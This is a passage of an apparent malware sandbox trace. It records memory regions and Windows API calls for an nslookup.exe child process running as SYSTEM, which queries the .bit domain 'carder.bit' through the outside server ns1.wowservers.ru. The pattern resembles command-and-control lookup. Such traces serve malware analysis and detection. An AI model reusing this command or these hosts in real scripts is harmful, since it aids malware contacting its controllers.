	        start_va = 0x7ffbff170000
	          end_va = 0x7ffbff205fff
	     entry_point = 0x7ffbff170000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")


Thread:
	id = 31
	os_tid = 0xc0c


Thread:
	id = 32
	os_tid = 0x670


Thread:
	id = 33
	os_tid = 0x8b8


Thread:
	id = 34
	os_tid = 0x438


Process:
	id = "8"
	image_name = "nslookup.exe"
	filename = "c:\\windows\\syswow64\\nslookup.exe"
	page_root = "0x26ce9000"
	os_pid = "0xb10"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0xef8"
	cmd_line = "nslookup carder.bit ns1.wowservers.ru"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 7639
	        start_va = 0x250000
	          end_va = 0x266fff
	     entry_point = 0x250000
	     region_type = mapped_file
	            name = "nslookup.exe"
	        filename = "\\Windows\\SysWOW64\\nslookup.exe" (normalized: "c:\\windows\\syswow64\\nslookup.exe")

Region:
	              id = 7640
	        start_va = 0x640000
	          end_va = 0x463ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000640000"
	        filename = ""

Region:
	              id = 7641
	        start_va = 0x4640000
	          end_va = 0x465ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004640000"
	        filename = ""

Region:
	              id = 7642
	        start_va = 0x4660000
	          end_va = 0x4661fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004660000"
	        filename = ""

Region:
	              id = 7643
	        start_va = 0x4670000
	          end_va = 0x4683fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004670000"
	        filename = ""

Region:
	              id = 7644
	        start_va = 0x4690000
	          end_va = 0x46cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004690000"
	        filename = ""

Region:
	              id = 7645
	        start_va = 0x46d0000
	          end_va = 0x470ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000046d0000"
	        filename = ""

Region:
	              id = 7646
	        start_va = 0x4710000
	          end_va = 0x4713fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004710000"
	        filename = ""

Region:
	              id = 7647
	        start_va = 0x4720000
	          end_va = 0x4720fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004720000"
	        filename = ""

Region:
	              id = 7648
	        start_va = 0x4730000
	          end_va = 0x4731fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004730000"
	        filename = ""

Region:
	              id = 7649
	        start_va = 0x77c40000
	          end_va = 0x77db8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 7650
	        start_va = 0x7f4f0000
	          end_va = 0x7f512fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007f4f0000"
	        filename = ""

Region:
	              id = 7651
	        start_va = 0x7f518000
	          end_va = 0x7f518fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f518000"
	        filename = ""

Region:
	              id = 7652
	        start_va = 0x7f519000
	          end_va = 0x7f519fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f519000"
	        filename = ""

Region:
	              id = 7653
	        start_va = 0x7f51d000
	          end_va = 0x7f51ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f51d000"
	        filename = ""

Region:
	              id = 7654
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 7655
	        start_va = 0x7fff0000
	          end_va = 0x7dfc03e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 7656
	        start_va = 0x7dfc03e70000
	          end_va = 0x7ffc03e6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007dfc03e70000"
	        filename = ""

Region:
	              id = 7657
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 7658
	        start_va = 0x7ffc04032000
	          end_va = 0x7ffffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ffc04032000"
	        filename = ""

Region:
	              id = 7659
	        start_va = 0x47b0000
	          end_va = 0x47bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000047b0000"
	        filename = ""

Region:
	              id = 7660
	        start_va = 0x59300000
	          end_va = 0x5934efff
	     entry_point = 0x59300000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 7661
	        start_va = 0x59360000
	          end_va = 0x593d2fff
	     entry_point = 0x59360000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 7662
	        start_va = 0x48d0000
	          end_va = 0x49cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048d0000"
	        filename = ""

Region:
	              id = 7663
	        start_va = 0x59350000
	          end_va = 0x59357fff
	     entry_point = 0x59350000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 7701
	        start_va = 0x4640000
	          end_va = 0x464ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004640000"
	        filename = ""

Region:
	              id = 7702
	        start_va = 0x4650000
	          end_va = 0x4653fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004650000"
	        filename = ""

Region:
	              id = 7703
	        start_va = 0x4740000
	          end_va = 0x477ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004740000"
	        filename = ""

Region:
	              id = 7704
	        start_va = 0x47c0000
	          end_va = 0x487dfff
	     entry_point = 0x47c0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 7705
	        start_va = 0x4880000
	          end_va = 0x48bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004880000"
	        filename = ""

Region:
	              id = 7706
	        start_va = 0x4a80000
	          end_va = 0x4a8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a80000"
	        filename = ""

Region:
	              id = 7707
	        start_va = 0x74310000
	          end_va = 0x74393fff
	     entry_point = 0x74310000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")

Region:
	              id = 7708
	        start_va = 0x743a0000
	          end_va = 0x743edfff
	     entry_point = 0x743a0000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")

Region:
	              id = 7709
	        start_va = 0x74ce0000
	          end_va = 0x74d38fff
	     entry_point = 0x74ce0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")

Region:
	              id = 7710
	        start_va = 0x74d40000
	          end_va = 0x74d49fff
	     entry_point = 0x74d40000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 7711
	        start_va = 0x74d50000
	          end_va = 0x74d6dfff
	     entry_point = 0x74d50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 7712
	        start_va = 0x76970000
	          end_va = 0x76ae5fff
	     entry_point = 0x76970000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 7713
	        start_va = 0x77250000
	          end_va = 0x77292fff
	     entry_point = 0x77250000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 7714
	        start_va = 0x77670000
	          end_va = 0x7775ffff
	     entry_point = 0x77670000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 7715
	        start_va = 0x77930000
	          end_va = 0x7798bfff
	     entry_point = 0x77930000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 7716
	        start_va = 0x77a10000
	          end_va = 0x77acdfff
	     entry_point = 0x77a10000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 7717
	        start_va = 0x77ad0000
	          end_va = 0x77ad6fff
	     entry_point = 0x77ad0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 7718
	        start_va = 0x77af0000
	          end_va = 0x77b9bfff
	     entry_point = 0x77af0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 7719
	        start_va = 0x7f3f0000
	          end_va = 0x7f4effff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007f3f0000"
	        filename = ""

Region:
	              id = 7720
	        start_va = 0x7f51a000
	          end_va = 0x7f51cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f51a000"
	        filename = ""

Region:
	              id = 7721
	        start_va = 0x73f20000
	          end_va = 0x73f31fff
	     entry_point = 0x73f20000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll")

Region:
	              id = 7722
	        start_va = 0x73f00000
	          end_va = 0x73f15fff
	     entry_point = 0x73f00000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll")

Region:
	              id = 7723
	        start_va = 0x73ee0000
	          end_va = 0x73ef2fff
	     entry_point = 0x73ee0000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll")

Region:
	              id = 7724
	        start_va = 0x74d70000
	          end_va = 0x74eaffff
	     entry_point = 0x74d70000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 7725
	        start_va = 0x76ca0000
	          end_va = 0x76decfff
	     entry_point = 0x76ca0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 7726
	        start_va = 0x4780000
	          end_va = 0x47a9fff
	     entry_point = 0x4780000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 7727
	        start_va = 0x4a90000
	          end_va = 0x4c17fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004a90000"
	        filename = ""

Region:
	              id = 7728
	        start_va = 0x775e0000
	          end_va = 0x7760afff
	     entry_point = 0x775e0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 7729
	        start_va = 0x76f70000
	          end_va = 0x7708ffff
	     entry_point = 0x76f70000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 7730
	        start_va = 0x4660000
	          end_va = 0x4664fff
	     entry_point = 0x4660000
	     region_type = mapped_file
	            name = "nslookup.exe.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\nslookup.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\nslookup.exe.mui")

Region:
	              id = 7731
	        start_va = 0x4c20000
	          end_va = 0x4da0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004c20000"
	        filename = ""

Region:
	              id = 7732
	        start_va = 0x4db0000
	          end_va = 0x61affff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004db0000"
	        filename = ""

Region:
	              id = 7733
	        start_va = 0x4780000
	          end_va = 0x4780fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004780000"
	        filename = ""

Region:
	              id = 7734
	        start_va = 0x4790000
	          end_va = 0x4790fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004790000"
	        filename = ""

Region:
	              id = 7735
	        start_va = 0x73ed0000
	          end_va = 0x73edafff
	     entry_point = 0x73ed0000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll")

Region:
	              id = 7736
	        start_va = 0x741a0000
	          end_va = 0x741a7fff
	     entry_point = 0x741a0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")

Region:
	              id = 7737
	        start_va = 0x744b0000
	          end_va = 0x744dffff
	     entry_point = 0x744b0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 7738
	        start_va = 0x744a0000
	          end_va = 0x744a7fff
	     entry_point = 0x744a0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 7739
	        start_va = 0x74150000
	          end_va = 0x74195fff
	     entry_point = 0x74150000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")

Region:
	              id = 7740
	        start_va = 0x74b10000
	          end_va = 0x74b2afff
	     entry_point = 0x74b10000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")

Region:
	              id = 7741
	        start_va = 0x47a0000
	          end_va = 0x47a3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000047a0000"
	        filename = ""


Thread:
	id = 38
	os_tid = 0xb1c

	[0137.223] GetModuleHandleA (lpModuleName=0x0) returned 0x250000
	[0137.223] __set_app_type (_Type=0x1) 
	[0137.223] __p__fmode () returned 0x77ac4d6c
	[0137.223] __p__commode () returned 0x77ac5b1c
	[0137.223] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x25cf30) returned 0x0
	[0137.223] __getmainargs (in: _Argc=0x261888, _Argv=0x26188c, _Env=0x261890, _DoWildCard=0, _StartInfo=0x26189c | out: _Argc=0x261888, _Argv=0x26188c, _Env=0x261890) returned 0
	[0137.223] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0137.223] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0137.227] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x262120 | out: lpWSAData=0x262120) returned 0
	[0137.231] socket (af=2, type=2, protocol=0) returned 0xc4
	[0137.232] closesocket (s=0xc4) returned 0
	[0137.232] RtlIpv4StringToAddressA () returned 0x0
	[0137.232] RtlInitString (in: DestinationString=0x470f7b0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") 
	[0137.232] RtlAnsiStringToUnicodeString (in: DestinationString=0x470f7b8, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0
	[0137.232] NtOpenKey (in: KeyHandle=0x470f7e8, DesiredAccess=0x20019, ObjectAttributes=0x470f798*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x470f7e8*=0xc4) returned 0x0
	[0137.232] RtlFreeAnsiString (AnsiString="\\") 
	[0137.232] RtlAnsiStringToUnicodeString (in: DestinationString=0x470f7a4, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0
	[0137.232] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x48df100, Length=0x400, ResultLength=0x470f7ac | out: KeyValueInformation=0x48df100, ResultLength=0x470f7ac) returned 0xc0000034
	[0137.233] RtlAnsiStringToUnicodeString (in: DestinationString=0x470f7a4, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0
	[0137.233] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x48df100, Length=0x400, ResultLength=0x470f7ac | out: KeyValueInformation=0x48df100*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x470f7ac) returned 0x0
	[0137.233] RtlUnicodeStringToAnsiString (in: DestinationString=0x470f79c, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0
	[0137.233] RtlAnsiStringToUnicodeString (in: DestinationString=0x470f7a4, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0
	[0137.233] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x48df100, Length=0x400, ResultLength=0x470f7ac | out: KeyValueInformation=0x48df100, ResultLength=0x470f7ac) returned 0xc0000034
	[0137.233] RtlInitString (in: DestinationString=0x470f7b0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") 
	[0137.233] RtlAnsiStringToUnicodeString (in: DestinationString=0x470f7b8, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0
	[0137.233] NtOpenKey (in: KeyHandle=0x470f7d4, DesiredAccess=0x20019, ObjectAttributes=0x470f798*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x470f7d4*=0x0) returned 0xc0000034
	[0137.233] RtlFreeAnsiString (AnsiString="\\") 
	[0137.233] RtlAnsiStringToUnicodeString (in: DestinationString=0x470f7a4, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0
	[0137.233] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x48df100, Length=0x400, ResultLength=0x470f7ac | out: KeyValueInformation=0x48df100, ResultLength=0x470f7ac) returned 0xc0000034
	[0137.233] RtlAnsiStringToUnicodeString (in: DestinationString=0x470f7a4, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0
	[0137.233] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x48df100, Length=0x400, ResultLength=0x470f7ac | out: KeyValueInformation=0x48df100, ResultLength=0x470f7ac) returned 0xc0000034
	[0137.233] gethostname (in: name=0x4a82300, namelen=12800 | out: name="LHnIwsj") returned 0
	[0137.278] getenv (_VarName="HOME") returned 0x0
	[0137.278] RtlIpv4StringToAddressA () returned 0xc000000d
	[0137.278] RtlIpv6StringToAddressExA (AddressString="ns1.wowservers.ru", Address=0x470f840, ScopeId=0x470f850, Port=0x470f83a) returned 0xc000000d
	[0137.278] RtlRestoreLastWin32Error () returned 0x2550
	[0137.278] getaddrinfo (in: pNodeName="ns1.wowservers.ru", pServiceName=0x0, pHints=0x0, ppResult=0x470f808 | out: ppResult=0x470f808*=0x48dcc50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x48e6398*(sa_family=2, sin_port=0x0, sin_addr="94.249.60.127"), ai_next=0x48dced0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x48e6620*(sa_family=2, sin_port=0x0, sin_addr="189.75.183.21"), ai_next=0x48dcf70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x48e63c8*(sa_family=2, sin_port=0x0, sin_addr="94.183.71.48"), ai_next=0x0)))) returned 0
	[0137.294] FreeAddrInfoW (pAddrInfo=0x48dcc50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x48e6398*(sa_family=2, sin_port=0x0, sin_addr="94.249.60.127"), ai_next=0x48dced0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x48e6620*(sa_family=2, sin_port=0x0, sin_addr="189.75.183.21"), ai_next=0x48dcf70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x48e63c8*(sa_family=2, sin_port=0x0, sin_addr="94.183.71.48"), ai_next=0x0)))) 
	[0137.295] _vsnprintf_s (in: _DstBuf=0x470f6e8, _DstSize=0x1f, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x46ff6b0 | out: _DstBuf="127.60.249.94.in-addr.arpa.") returned 27
	[0137.295] htons (hostshort=0x1) returned 0x100
	[0137.295] htons (hostshort=0x1) returned 0x100
	[0137.296] socket (af=2, type=2, protocol=0) returned 0x190
	[0137.296] connect (s=0x190, name=0x4a80d28*(sa_family=2, sin_port=0x35, sin_addr="94.249.60.127"), namelen=16) returned 0
	[0137.297] send (in: s=0x190, buf=0x46ff6e8*, len=44, flags=0 | out: buf=0x46ff6e8*) returned 44
	[0137.297] select (in: nfds=400, readfds=0x46ef2e8, writefds=0x0, exceptfds=0x0, timeout=0x46ef2b8 | out: readfds=0x46ef2e8, writefds=0x0, exceptfds=0x0) returned 0
	[0139.672] printf (_Format="DNS request timed out.\n") returned 23
	[0139.673] printf (_Format="    timeout was %d seconds.\n") returned 27
	[0139.673] closesocket (s=0x190) returned 0
	[0139.673] RtlIpv4AddressToStringExA () returned 0xc000000d
	[0139.673] strcpy_s (in: _Dst=0x4a811f0, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0
	[0139.673] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x48df010
	[0139.673] strcpy_s (in: _Dst=0x262020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0
	[0139.673] __iob_func () returned 0x77ac1208
	[0139.673] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x470f5b0, nSize=0x0, Arguments=0x470f5b4 | out: lpBuffer="hk\x8e\x04Äõp\x04Ôõp\x045´%") returned 0x7
	[0139.673] fprintf (in: _File=0x77ac1228, _Format="%-7s  %s" | out: _File=0x77ac1228) returned 16
	[0139.673] fprintf (in: _File=0x77ac1228, _Format="\nAddress:" | out: _File=0x77ac1228) returned 9
	[0139.673] inet_ntoa (in=0x7f3cf95e) returned="94.249.60.127"
	[0139.674] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0139.674] fprintf (in: _File=0x77ac1228, _Format="\n\n" | out: _File=0x77ac1228) returned 2
	[0139.674] RtlIpv4StringToAddressA () returned 0xc000000d
	[0139.674] RtlIpv6StringToAddressExA (AddressString="carder.bit", Address=0x470f590, ScopeId=0x470f5a0, Port=0x470f58a) returned 0xc000000d
	[0139.674] RtlRestoreLastWin32Error () returned 0x2550
	[0139.674] RtlIpv4StringToAddressA () returned 0xc000000d
	[0139.674] RtlIpv6StringToAddressExA (AddressString="carder.bit", Address=0x470f518, ScopeId=0x470f528, Port=0x470f512) returned 0xc000000d
	[0139.674] RtlRestoreLastWin32Error () returned 0x2550
	[0139.674] sprintf_s (in: _DstBuf=0x470f280, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="carder.bit.") returned 11
	[0139.674] htons (hostshort=0x2) returned 0x200
	[0139.674] htons (hostshort=0x1) returned 0x100
	[0139.674] socket (af=2, type=2, protocol=0) returned 0x190
	[0139.674] connect (s=0x190, name=0x48df030*(sa_family=2, sin_port=0x35, sin_addr="94.249.60.127"), namelen=16) returned 0
	[0139.674] send (in: s=0x190, buf=0x46ff280*, len=28, flags=0 | out: buf=0x46ff280*) returned 28
	[0139.675] select (in: nfds=400, readfds=0x46eee80, writefds=0x0, exceptfds=0x0, timeout=0x46eee50 | out: readfds=0x46eee80, writefds=0x0, exceptfds=0x0) returned 1
	[0139.775] recv (in: s=0x190, buf=0x46ef240, len=65536, flags=0 | out: buf=0x46ef240*) returned 188
	[0139.775] closesocket (s=0x190) returned 0
	[0139.775] htons (hostshort=0x100) returned 0x1
	[0139.775] htons (hostshort=0xa00) returned 0xa
	[0139.775] htons (hostshort=0x0) returned 0x0
	[0139.775] htons (hostshort=0x0) returned 0x0
	[0139.775] LocalAlloc (uFlags=0x40, uBytes=0x36b20) returned 0x48e84c8
	[0139.776] sprintf_s (in: _DstBuf=0x470f280, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="carder.bit.") returned 11
	[0139.776] htons (hostshort=0x3) returned 0x300
	[0139.776] htons (hostshort=0x1) returned 0x100
	[0139.776] socket (af=2, type=2, protocol=0) returned 0x190
	[0139.776] connect (s=0x190, name=0x48df030*(sa_family=2, sin_port=0x35, sin_addr="94.249.60.127"), namelen=16) returned 0
	[0139.777] send (in: s=0x190, buf=0x46ff280*, len=28, flags=0 | out: buf=0x46ff280*) returned 28
	[0139.777] select (in: nfds=400, readfds=0x46eee80, writefds=0x0, exceptfds=0x0, timeout=0x46eee50 | out: readfds=0x46eee80, writefds=0x0, exceptfds=0x0) returned 1
	[0139.881] recv (in: s=0x190, buf=0x46ef240, len=65536, flags=0 | out: buf=0x46ef240*) returned 570
	[0139.881] closesocket (s=0x190) returned 0
	[0139.881] htons (hostshort=0x100) returned 0x1
	[0139.881] htons (hostshort=0x0) returned 0x0
	[0139.881] htons (hostshort=0x1100) returned 0x11
	[0139.881] htons (hostshort=0x0) returned 0x0
	[0139.881] htons (hostshort=0x100) returned 0x1
	[0139.881] htons (hostshort=0x0) returned 0x0
	[0139.882] htons (hostshort=0x100) returned 0x1
	[0139.882] htons (hostshort=0x0) returned 0x0
	[0139.882] htons (hostshort=0x1100) returned 0x11
	[0139.884] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x470f548, nSize=0x0, Arguments=0x470f54c | out: lpBuffer="\x98j\x8e\x04\\õp\x04lõp\x045´%") returned 0x5
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%-7s  %s" | out: _File=0x77ac1228) returned 19
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\nAddresses:" | out: _File=0x77ac1228) returned 11
